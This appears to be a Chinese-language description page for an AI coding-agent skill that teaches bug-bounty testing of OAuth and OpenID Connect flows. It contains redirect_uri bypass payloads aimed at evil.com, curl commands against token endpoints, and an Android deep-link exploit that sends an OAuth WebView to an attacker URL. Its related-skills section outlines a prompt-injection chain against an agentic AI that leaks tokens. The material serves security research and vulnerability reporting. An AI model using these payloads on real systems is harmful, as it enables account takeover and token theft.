关于 hunt-oauth
hunt-oauth 面向安全研究人员,提供评估 Web 和移动应用中 OAuth 与 OpenID Connect 流程的方法。内容涵盖侦察、攻击测试和影响验证。
主要功能
- 01OAuth 端点与流程梳理
- 02redirect_uri 校验测试
- 03state 与 nonce 检查
- 04移动深链测试
- 05影响验证清单
适用场景
- 01评估 Web 应用的 OAuth 回调
- 02测试移动应用 OAuth 深链
- 03检查令牌端点的身份验证
- 04验证账户接管影响
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-oauth安装后在 Claude Code 中输入/hunt-oauth确认已加载。
详细介绍
皇冠宝藏目标
OAuth 漏洞是 Web 安全中价值最高的漏洞类型之一,因为它们会直接导致账户接管、会话窃取和身份验证绕过——这是漏洞赏金计划最愿意付费的三类问题。
价值最高的目标:
- 消费者身份提供商(Google、Facebook、PayPal、Apple SSO 集成)——任何一处失陷都会波及所有依赖方
- 带有自定义深层链接 OAuth 处理程序的移动应用——Android/iOS 意图处理一直以宽松著称
- 多租户 SaaS 平台(GitLab、Reddit 级别的应用),一个 OAuth 漏洞就会影响数百万账户
- 使用联合登录的游戏/娱乐平台(Rockstar、Oculus)——安全团队往往不够成熟
- 企业 SSO 连接器——关键基础设施,严重漏洞赏金金额高
最值得关注的资产类型:
- OAuth 授权端点(
/oauth/authorize、/connect/authorize) - 令牌交换端点(
/oauth/token) - 移动端深层链接处理程序(
push_notification_webview、自定义 scheme URI) - 社交登录回调处理程序(
/auth/callback、/oauth/callback)
**常见赏金金额:**根据漏洞赏金计划而定,为 500 至 20,000 美元以上;账户接管漏洞往往能拿到最高赏金。
攻击面信号
值得排查的 URL 模式
/oauth/authorize
/oauth/token
/connect/authorize
/auth/callback
/oauth/callback
/login?redirect_uri=
/signin?next=
/auth?return_to=
/oauth/redirect
/push_notification_webview
表明存在 OAuth 的响应头
Location: https://accounts.example.com/oauth/...
Set-Cookie: oauth_state=
WWW-Authenticate: Bearer
Content-Type: application/json (with access_token in body)
JavaScript 模式(在 JS 包中 grep)
redirect_uri
client_id
response_type=code
response_type=token
state=
nonce=
oauth_token
access_token
push_notification_webview
deeplink
intent://
技术栈信号
- 在
AndroidManifest.xml中使用intent-filter处理http://或自定义 scheme URI 的 Android 应用 - 使用 Doorkeeper、OmniAuth、Devise(Ruby)、Passport.js(Node)、Spring Security OAuth 的应用
- 社交登录按钮(Google、Facebook、Apple)=必定存在 OAuth 攻击面
- 存在
.well-known/openid-configuration=可利用完整的 OIDC 攻击面
分步狩猎方法
-
枚举所有 OAuth 入口点
- 扫描应用中的
/oauth、/connect、/auth、/login路径 - 检查
.well-known/openid-configuration和.well-known/oauth-authorization-server - 反编译移动 APK:使用
apktool d app.apk,并搜索redirect_uri、intent://和深层链接方案
- 扫描应用中的
-
梳理完整的 OAuth 流程
- 捕获授权请求:记录
client_id、redirect_uri、state、nonce、response_type - 捕获回调:记录令牌/代码的接收位置,以及验证
state/nonce的方式
- 捕获授权请求:记录
-
测试
redirect_uri验证(命中率最高)- 尝试精确主机绕过:
redirect_uri=https://legit.com.evil.com - 尝试路径遍历:
redirect_uri=https://legit.com/callback/../../../evil - 先尝试合法域名上的开放重定向,再将其串联到 OAuth 流程中
- 尝试参数污染:
redirect_uri=https://legit.com&redirect_uri=https://evil.com - 尝试编码字符:
%2F、%40、%23,以混淆解析器
- 尝试精确主机绕过:
-
测试
state参数(CSRF)- 完全移除
state——流程能否完成? - 在不同会话中重复使用固定的
state值 - 检查
state是在服务端还是仅在客户端验证
- 完全移除
-
测试
nonce参数(重放/绕过)- 从一个流程中捕获
nonce,尝试在另一个流程中重放 - 检查令牌交换后是否验证
nonce - 测试能否通过引荐来源泄漏提取
nonce(第 9 步)
- 从一个流程中捕获
-
测试身份验证步骤是否完整
- 对于多步骤身份验证(例如,邮箱验证 + OAuth):能否直接跳转到
/oauth/token? - 检查令牌端点是否接受未完成的身份验证状态(邮箱未验证)
- 对于多步骤身份验证(例如,邮箱验证 + OAuth):能否直接跳转到
-
排查引荐来源泄漏
- OAuth 回调后,如果令牌位于 URL 片段或查询参数中,检查页面上的资源(图片、脚本、iframe)是否会收到完整的
Referer标头 - 重点检查身份验证后触发的语言切换器、分析请求和社交分享按钮
- OAuth 回调后,如果令牌位于 URL 片段或查询参数中,检查页面上的资源(图片、脚本、iframe)是否会收到完整的
-
测试移动深层链接
- 对于 Android:构造恶意 intent URI,将 OAuth WebView 重定向到攻击者控制的网址
- 检查深层链接处理程序在加载前是否验证来源/主机
- 测试接受任意网址的
push_notification_webview模式
-
测试配置错误的客户端凭据
- 检查
client_secret是否出现在 JS 包或 APK 资源中 - 测试令牌端点是否会在与泄露的
client_id/client_secret组合使用时接受任意redirect_uri值
- 检查
-
验证并记录
- 确认未验证
state→ CSRF 导致账号关联 - 确认令牌落入攻击者域名 → 会话被盗
- 确认可跳过邮箱验证 → 身份验证绕过
- 报告前运行 Gate 0 检查
- 确认未验证
载荷与检测模式
redirect_uri 绕过载荷
# Host confusion
https://evil.com#legit.com
https://legit.com.evil.com
https://[email protected]
# Path traversal
https://legit.com/oauth/callback/../../redirect?url=https://evil.com
# Open redirect chain (find open redirect on legit domain first)
https://legit.com/logout?next=https://evil.com
# Parameter pollution
?redirect_uri=https://legit.com/cb&redirect_uri=https://evil.com/cb
# URL encoded slashes
https://legit.com%[email protected]
https://legit.com%252F..%252F..evil.com
state CSRF 测试
# Step 1: Initiate OAuth flow, capture state value
# Step 2: Drop request, use attacker account's link with victim's session
curl --max-time 30 --connect-timeout 10 -v "https://target.com/oauth/authorize?client_id=APP&redirect_uri=https://target.com/cb&response_type=code&state=FIXED_VALUE"
# Step 3: Force victim to visit callback with attacker's code + fixed state
https://target.com/oauth/callback?code=ATTACKER_CODE&state=FIXED_VALUE
通过引荐来源提取 nonce
# After OAuth callback landing page, check outbound requests
# Look for Referer header containing access_token or code
curl --max-time 30 --connect-timeout 10 -v "https://target.com/auth/callback?code=ABC&state=XYZ" \
-H "Referer: https://evil.com" \
--max-redirs 0
# Grep JS for outbound calls made on callback page
grep -r "fetch\|XMLHttpRequest\|img.src\|script.src" callback_page.html
移动深层链接漏洞利用(Android)
# ADB exploit for push_notification_webview deeplink
adb shell am start -a android.intent.action.VIEW \
-d "target-app://push_notification_webview?url=https://evil.com/steal_oauth"
# Craft intent URI for web-based exploit
<a href="intent://push_notification_webview?url=https://evil.com#Intent;scheme=target-app;package=com.target.app;end">Click</a>
令牌端点身份验证绕过
# Test unauthenticated token exchange (skip email verification)
curl --max-time 30 --connect-timeout 10 -X POST https://target.com/oauth/token \
-d "grant_type=authorization_code" \
-d "code=CAPTURED_CODE" \
-d "client_id=CLIENT_ID" \
-d "redirect_uri=https://legit.com/callback"
# Test with unverified account credentials
curl --max-time 30 --connect-timeout 10 -X POST https://target.com/oauth/token \
-d "grant_type=password" \
-d "[email protected]" \
-d "password=password123" \
-d "client_id=CLIENT_ID"
侦察用 Grep 模式
# In APK/JS files
grep -r "redirect_uri\|client_secret\|oauth_token\|access_token\|push_notification" .
grep -r "intent://\|deeplink\|scheme://" .
# In Burp history
# Filter: URL contains "oauth" OR "token" OR "callback"
# Filter: Response contains "access_token" OR "code=" in Location header
# Check .well-known
curl --max-time 30 --connect-timeout 10 https://target.com/.well-known/openid-configuration | python3 -m json.tool
常见根本原因
-
redirect_uri验证薄弱——开发者使用前缀匹配(startsWith)而非完全匹配,或将整个域名加入白名单,而不是指定具体路径。这样一来,同一域名下的子路径开放重定向就会变成完整的令牌窃取手段。 -
缺少
state参数或未对其进行验证——开发者照着省略了 CSRF 防护的基础教程实现 OAuth,或者只在客户端用 JavaScript 验证 state(很容易绕过)。 -
交换后未验证 nonce——请求中生成并发送了 nonce,但代码交换后从未将其与 ID 令牌进行核对,因此可能遭受重放攻击。
-
未在服务端强制执行认证步骤顺序——团队实现多步骤认证(注册 → 邮箱验证 → OAuth 授权),但未在服务端强制执行步骤顺序。令牌端点不会检查前置步骤是否已完成。
-
回调页面中的 URL 带有令牌或授权码,且会发起外部请求——开发者让用户跳转到查询字符串中包含令牌的回调页面,随后该页面触发分析、社交分享或 CDN 请求,通过
Referer标头泄露完整 URL。 -
移动端深层链接处理器信任所有输入 URL——Android/iOS 开发者为推送通知流程构建 WebView 封装程序,却不验证加载的 URL 是否属于自己的域名。
-
OAuth 应用注册配置错误——开发者注册了通配符重定向 URI(
https://*.example.com/*),或在开发期间完全不限制重定向 URI,并忘了在生产环境中收紧限制。 -
客户端密钥嵌入移动应用——将机密客户端凭据当作公开信息处理,使掌握该密钥的攻击者能够使用任意重定向 URI 发起令牌请求。
绕过技术
防御方:redirect_uri 完全匹配白名单
绕过方式: 在白名单域名本身查找开放重定向,然后将该 URL 用作 redirect_uri。OAuth 服务会验证注册域名 ✓,但开放重定向会将授权码/令牌转发给攻击者。
redirect_uri=https://legit.com/logout?next=https://evil.com
防御方:必须提供 state 参数
绕过方式: 检查是否验证了 state 的长度/格式,却没有验证其是否绑定到会话。使用固定且可预测的 state 值。同时检查是否强制执行 PKCE;如果没有,仅靠 state 检查不足以防止授权码注入。
防御方:仅通过片段传递令牌(response_type=token)
绕过方式: 浏览器不会在 Referer 中发送片段,但回调页面上的 JavaScript 可能会读取 window.location.hash,并将其传递给分析服务,或通过 postMessage 发送给父框架。拦截 postMessage 处理器。
防御方:移动端深层链接的主机验证
绕过方式: 尝试 URL 编码(https%3A//evil.com)、双重编码、Unicode 规范化或空字节,以混淆验证器,同时底层 WebView 仍可正常导航。
防御方:短期授权码
绕过方式: 即使授权码有效期很短,攻击者只要有快速接收端,Referer 泄露和开放重定向仍然有效。对于 CSRF,受害者会完成整个流程,因此时机没那么关键。
防御方:强制执行 PKCE
绕过方式: 检查是否对所有客户端强制执行 PKCE,还是仅对特定客户端强制执行。旧版客户端或移动应用可能不受此限制。省略 code_challenge 进行测试——如果服务端仍然发放令牌,则说明未强制执行 PKCE。
防御方:Nonce 验证
绕过方式: 检查 nonce 是否仅在客户端通过 JavaScript 验证。若未验证签名,可拦截并修改 ID 令牌中的 nonce 声明(这种情况很少见,但在配置错误的实现中确实出现过)。还要测试 nonce 是否仅在初始请求中验证,而在令牌刷新时未验证。
Gate 0 验证
撰写报告前,请回答以下三个问题:
1. 攻击者现在能做什么? 请具体说明:“我可以向受害者发送一个精心构造的 URL → 受害者点击 → 其 OAuth 代码重定向到我的服务器 → 我用该代码换取访问令牌 → 我现在已登录为受害者。”如果你无法完成整个攻击链,这个问题可能仅属于信息性问题。
2. 受害者会失去什么? 最低标准:受害者失去已通过身份验证的会话(账户访问权限)。更严重的情况:受害者失去关联账户、支付方式或私人数据。如果攻击者只能获知受害者的身份,却无法获得访问权限,严重性会显著降低。
3. 能否在 10 分钟内从头复现? 使用一个没有任何历史状态的全新浏览器或设备。如果你能仅凭书面步骤,在 10 分钟内从“未通过身份验证”操作到“以受害者身份通过身份验证”,那么这个漏洞确实存在,值得报告。如果漏洞需要碰巧的时机、超出“点击链接”之外的特定受害者行为,或特定网络位置,请明确记录这些依赖条件。
真实影响示例
场景 1:通过推送通知深层链接窃取移动会话(PayPal/Venmo 模式)
攻击者发现,Android 应用的推送通知处理程序会接受深层链接中的任意 url 参数,且不会验证主机。攻击者利用应用的自定义 scheme,制作一个指向自己服务器的恶意 URL。将此 URL 发送给受害者后(通过社会工程手段或被入侵的推送通知渠道),应用会打开一个 WebView 并导航到攻击者的服务器;随后,该服务器发起 OAuth 流程,并在 OAuth 令牌返回至现由攻击者控制的“回调”时将其捕获。结果:一个影响数百万用户的支付平台遭遇完整账户接管。业务影响:未经授权的资金转账、关联支付方式及交易记录泄露。
场景 2:通过直接访问令牌端点绕过电子邮件验证(GitLab 模式)
开发者使用未经验证的电子邮件地址创建账户。通常,平台会在电子邮件通过验证前限制完整访问。然而,/oauth/token 端点不会检查验证状态,只验证凭据。攻击者使用有效(但未经验证的)凭据直接调用 /oauth/token,并获得权限范围完整的 OAuth 令牌。该令牌可以通过所有下游授权检查。结果:身份验证被完全绕过,使用未经验证或一次性电子邮件地址的账户也能获得平台的完整访问权限,电子邮件验证这一安全控制形同虚设。在 GitLab 这类平台上大规模发生时,会影响 CI/CD 工作流访问、仓库访问及 API 使用。
场景 3:切换语言时通过 Referer 标头窃取 OAuth 令牌(Rockstar Games 模式)
Facebook 登录的 OAuth 回调页面会将用户带到一个 URL,其中查询字符串包含 access_token。页面上有一个语言切换器组件,会发送 GET 请求来更改语言区域偏好。此 GET 请求会在 Referer 标头中包含完整的页面 URL,其中含有 Facebook 访问令牌。能够读取服务器日志的攻击者(或入侵语言切换端点的攻击者,或能够访问像素的恶意广告商)可以从 Referer 日志中窃取 Facebook OAuth 令牌。结果:攻击者可以登录受害者的 Facebook 账户,以及任何接受该 Facebook 令牌的其他服务,从而造成跨平台账户接管。业务影响:违反 GDPR/隐私法规、跨服务账户被入侵,以及可能承担监管责任。
已公开报告引用(补充 +9 项,2020-2024 年)
以下真实且经过验证的漏洞赏金/协调披露案例,将这项技能扩展至最初的 10 个内部参考案例之外。每个案例都属于不同的 OAuth 子类型,并且引用的分析文章中记录了可用的 PoC。
11. Semrush — IDN 同形异义重定向 redirect_uri 绕过 (H1 #861940)
- 子类:通过 Unicode 易混淆主机名(同形异义)绕过 redirect_uri
- Payload:redirect_uri=https://oauth.šemrush.com/cb(punycode xn--emrush-9jb.com)——通过了验证器的仅限拉丁字符字符串检查
- 根本原因:服务器将 redirect_uri 主机名作为 ASCII 字符串进行相等性验证,但在比较前未将 Unicode 规范化为易混淆字符再转换为 punycode
- 披露:2020 年,公开漏洞赏金(金额未披露);发现者 Yassine Aboukir
-
Bohemia Interactive —
redirect_uri过滤器绕过(BiStudio) (H1 #405100)- 子类:绕过
redirect_uri验证 → OAuth 令牌泄露 - Payload:构造
redirect_uri,绕过正则表达式/前缀过滤器,将令牌发送到攻击者主机;报告者将此绕过与完整的令牌泄露 PoC 串联起来 - 根本原因:
redirect_uri过滤器较弱,接受了攻击者控制的主机,同时仍匹配预期模式 - 年份:2018 年披露;至今仍是后续报告中常引用的正则表达式
redirect_uri绕过典型案例
- 子类:绕过
-
pixiv — OAuth
redirect_uri中的路径遍历 (H1 #1861974)- 子类:通过路径遍历绕过
redirect_uri→ 授权码泄露 - Payload:
redirect_uri=https://legit.pixiv.host/legit/../../attacker/cb——服务器在验证后才进行规范化 - 根本原因:验证器检查的是原始字符串;下游 HTTP/浏览器处理了
../路径遍历,并将授权码发送到攻击者路径 - 披露:2023 年,$2,000 漏洞赏金,244 个赞同票——已确认支付
- 子类:通过路径遍历绕过
-
Slack — OAuth2
redirect_uri绕过(域名后缀) (H1 #2575)- 子类:通过域名后缀/子域名混淆绕过
redirect_uri验证 - Payload:使用与已注册主机名后缀匹配的域名构造
redirect_uri(例如slack.com.attacker.com),绕过了仅检查后缀的验证 - 根本原因:使用
endsWith()/后缀匹配,而非严格的主机名相等性检查 - 披露:2013 年(这一奠基性案例至今仍见于现代 OAuth 培训资料)——Slack 公开漏洞赏金
- 子类:通过域名后缀/子域名混淆绕过
-
Booking.com(Facebook 社交登录) (Salt Labs writeup)
- 子类:三步攻击链——白名单域名上的开放重定向 +
redirect_uri绕过 +response_type替换 → 窃取 Facebook OAuth 授权码/令牌 → ATO - Payload:授权 URL 中包含
redirect_uri=https://account.booking.com/<open-redirect>?next=https://attacker.tld/cb,并切换response_type,通过片段泄露令牌 - 根本原因:验证器信任
account.booking.com下的任意路径;该主机上的开放重定向会将授权码转发给攻击者 - 披露:2023 年 3 月——协调披露,未公开漏洞赏金金额(约 5 亿 MAU 受影响)
- 子类:三步攻击链——白名单域名上的开放重定向 +
-
Expo.io(
expo-auth-session)— CVE-2023-28131 (Salt Labs writeup)- 子类:范围扩展/未验证的
returnUrl参数 → 跨应用窃取 OAuth 授权码(影响所有使用 expo-auth-session 社交登录的消费者) - Payload:攻击者向 OAuth 代理传入
returnUrl=https://attacker.tld→ Expo 盲目将 Facebook/Google/Apple/Twitter 授权码转发给攻击者 - 根本原因:框架级 OAuth 代理在转发社交身份提供商的回调前,未验证
returnUrl主机名 - 披露:2023 年 5 月;CVSS 9.6;于 2023 年 2 月通过热修复修复,并于 2023 年 2 月 26 日前弃用
- 子类:范围扩展/未验证的
-
Microsoft Azure AD 多租户 — “nOAuth” (Descope 文章)
- 子类型:通过未经验证、可变的
email声明跨 IdP 接管账户(相当于“Pass-The-Token”) - 攻击载荷:攻击者将 Azure AD 管理员个人资料中的
mail属性设置为受害者的地址 → 在按电子邮件声明识别用户的依赖方点击“使用 Microsoft 登录” → 立即接管账户 - 根本原因:Microsoft 的
email声明可变且未经验证;依赖方将其视为主要标识符 - 披露:2023 年 4 月 11 日报告,2023 年 6 月 20 日修复(缓解措施 + 新增
xms_edov声明)
- 子类型:通过未经验证、可变的
-
Grammarly / Vidio / Bukalapak — 社交登录“Pass-The-Token” (Salt Labs 文章)
- 子类型:未验证 Facebook access_token 的受众 /
aud→ 跨客户端重放令牌 → 接管账户 - 攻击载荷:攻击者获取为
attacker.app签发的 Facebook 令牌 → 将该令牌重放到 Grammarly/Vidio/Bukalapak 登录 API → 服务器通过/me获取 Facebook 用户,找到受害者的电子邮件,并签发受害者的会话 - 根本原因:依赖方使用攻击者签发的令牌调用 Facebook
/me,却从不验证该令牌的app_id是否属于该依赖方 - 披露:2023 年 10 月 — 协调披露,三个网站合计约 10 亿账户面临风险
- 子类型:未验证 Facebook access_token 的受众 /
-
Zoom — OAuth“脏舞”串联式账户接管 (Harel Security 文章)
- 子类型:替换
response_type=token+ 宽松的postMessage来源检查 + Cookie 投放 → 通过 web_message 响应模式泄露授权码 → 接管账户 + 劫持摄像头/麦克风 - 攻击载荷:攻击者页面打开 Zoom OAuth,并使用
response_type=code&response_mode=web_message;由于窗口监听器接受任何*.zoom.us来源,因此会拦截生成的postMessage→ 用授权码换取会话 - 根本原因:宽松的 postMessage 来源检查、缺少对
state的 CSRF 绑定,以及response_mode=web_message会将授权码返回给父窗口且未强制精确匹配来源,这些问题共同导致漏洞 - 披露:2023 年 10 月报告,2024 年 1 月修复,15,000 美元漏洞赏金(Sudi / BrunoZero / H4R3L)
- 子类型:替换
-
Detectify Labs — “Dirty Dancing” 多供应商 OAuth 令牌泄露 (Detectify 文章,F. Rosén)
- 子类型:响应类型切换 + 无效状态值处理缺陷 + 第三方 JS 小工具链 → 无需 XSS 即可泄露 OAuth 授权码 / 令牌
- 攻击载荷:攻击者在仅验证
code的端点上强制使用response_type=token;再结合宽松的 postMessage 监听器和回调页面上的 URL 存储小工具,通过跨源读取窃取令牌 - 根本原因:OAuth 服务器容忍 response_type 降级 / 替换;回调页面通过宽松的 postMessage 接收器泄露
window.location - 披露:2022 年 7 月 — 涉及多家供应商(Apple、Microsoft、Slack 等);PortSwigger 2022 年十大 Web 黑客技术第 1 名
浏览器解析 vs 服务端解析——redirect_uri 前缀匹配绕过形式
服务端对 redirect_uri 的前缀匹配缺陷是让 OAuth 授权码落入攻击者手中的必要条件,但并非充分条件。服务端检查通过只是其中一道关卡;浏览器是否实际跳转到跨源地址则是另一道关卡。两者的行为不同。在将发现写成 ATO 攻击链之前,务必确认这两点。
服务端 redirect_uri 验证器 | 攻击 URL | 服务端 startswith() | 浏览器实际主机 | 可利用? |
|---|---|---|---|---|
前缀 = https://acme.example(无斜杠) | https://[email protected]/cb | 通过 | evil.com(根据 WHATWG URL 解析规则——@ 是用户信息分隔符,位于 :// 后的第一个 / 之前) | 是 |
前缀 = https://acme.example/(末尾有斜杠) | https://acme.example/@evil.com/cb | 通过 | acme.example(此时 @ 位于第一个 / 之后,因此 WHATWG 会将其解析为路径字符) | 否——浏览器仍停留在 acme.example |
前缀 = https://acme.example(子串匹配) | https://acme.example.evil.com/cb | 通过 | acme.example.evil.com(子域名扩展——.evil.com 扩展了主机名) | 是 |
前缀 = https://acme.example/(末尾有斜杠,服务端会规范化 ..) | https://acme.example/../../@evil.com/cb | 原始字符串的 startswith 检查通过 | acme.example(服务端会规范化路径;即使不规范化,浏览器也会规范化路径) | 通常为否 |
前缀 = https://acme.example/(仅适用于 Chromium) | https://acme.example/\@evil.com/cb | 通过 | 主机名视情况而定——Chromium 会将 \ 转换为 /,因此结果为 https://acme.example//@evil.com/cb,浏览器仍停留在 acme.example | 通常为否 |
操作准则: WHATWG URL 解析器(自 2018 年起由所有现代浏览器使用)仅在权限部分解析用户信息——也就是 :// 后的第一个 / 之前。路径开始后,@ 只是一个字符。服务端的字符串 startswith 检查无法模拟这一点,因此会放行浏览器随后仍会路由到合法主机的 URL。
在将 OAuth 发现写成 ATO 攻击链之前,务必使用无头浏览器(Playwright / Puppeteer / 真实浏览器)测试最终跳转。 服务端接受 + 浏览器仍停留在合法主机 = 不构成 ATO。已在 docs/verification/phase3-playwright-browser-execution.md 测试 29 中进行实时验证。
验证
运行此自检,以确认 OAuth 漏洞搜寻准备就绪:
-
技能完整性——确认技能文件可读且格式正确:
grep -q "name: hunt-oauth" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查——确认技能包含类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分——确认已记录陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
全部 3 项测试均用于验证技能结构正确且可供使用。
陷阱
- redirect_uri 开放重定向但未窃取令牌——重定向到 evil.com 并不会窃取令牌,除非受害者的浏览器跟随重定向,并带上 code/state。
- 授权端点上的 CSRF——缺少 state 参数会导致 OAuth 流程受到 CSRF 攻击。测试是否验证了
state参数。 - 公共客户端缺少 PKCE——没有 PKCE 的 SPA/原生应用容易受到授权码拦截攻击。
- 仍在使用隐式授权流程——隐式授权流程(response_type=token)会在 URL 片段/引荐来源中泄露令牌。应报告为已弃用,但不一定可利用。
- 前端代码中的客户端密钥——JS 包中的 OAuth 客户端密钥实际上是公开的。应关注该密钥能实现什么攻击,而非密钥本身的存在。
相关技能与攻击链
hunt-subdomain— 影响最大的单一 OAuth 攻击链。攻击链原语:OAuthredirect_uri验证器接受任意*.target.com子域名 + 侦察发现dev-staging.target.com的 CNAME 指向已取消配置的 Heroku/S3/Azure 应用 → 接管该悬空子域名 → 在其上托管 OAuth 回调接收器 → 构造/oauth/authorize?redirect_uri=https://dev-staging.target.com/cb→ 受害者点击 → 授权码落入攻击者接管的子域名 → 兑换令牌 → ATO。redirect_uri白名单验证之所以通过,是因为该子域名“合法地”由 target.com 控制。hunt-ato— OAuth state-CSRF 是通过账户关联实施 ATO 的典型原语。攻击链原语:state参数缺失或未绑定到会话 + 受害者已登录 target.com + 攻击者从自己的账户发起 OAuth 流程,在兑换前截获code+ 构造包含攻击者授权码的回调 URL → 诱使受害者访问 → 受害者的 target.com 会话现已关联到攻击者的 Google/Facebook 身份 → 攻击者通过 Google 登录 → 控制受害者的账户。hunt-llm-ai— 面向 AI Agent(ChatGPT 插件、Claude MCP 服务、智能 Agent 副驾驶)的现代 OAuth 流程沿用 OAuth 2.1 + PKCE。攻击链原语:Agent 式 AI 接受文档中的间接提示词注入所提供的redirect_uri→ 模型构造包含攻击者回调地址的 OAuth 授权 URL → 用户以为这是 Agent 自己的流程,便点击“批准” → 令牌通过工具调用外泄到攻击者域名。hunt-saml— 当 OAuth 架构在 SAML IdP 之上时,IdP 层面的 XSW 就会成为通过 OAuth 实施 ATO 的路径。攻击链原语:SAML SP 在断言验证后颁发 OAuth 令牌 + 对断言实施 XSW 攻击,将NameID改为管理员用户 → SP 颁发携带管理员身份的 OAuth 令牌 → 受 OAuth 权限范围保护的 API 授予管理员访问权限。security-arsenal— 查阅 OAuthredirect_uri绕过表(主机混淆[email protected]、legit.com.evil.com、路径遍历、参数污染、编码斜杠%2F、片段注入#legit.com)以及开放重定向攻击链目录;当精确匹配验证要求你先在白名单域名上找到开放重定向时,这些内容会派上用场。triage-validation— 在将实际不会泄露令牌(只泄露state参数,或回调页面的 URL 中不包含凭据)的 OAuth“开放重定向”判定为 Critical 前,先运行严重性预判关卡。仅泄露 state 属于 Low;若泄露令牌/授权码并成功演示兑换,则属于 Critical。兑换授权码这一步不可省略。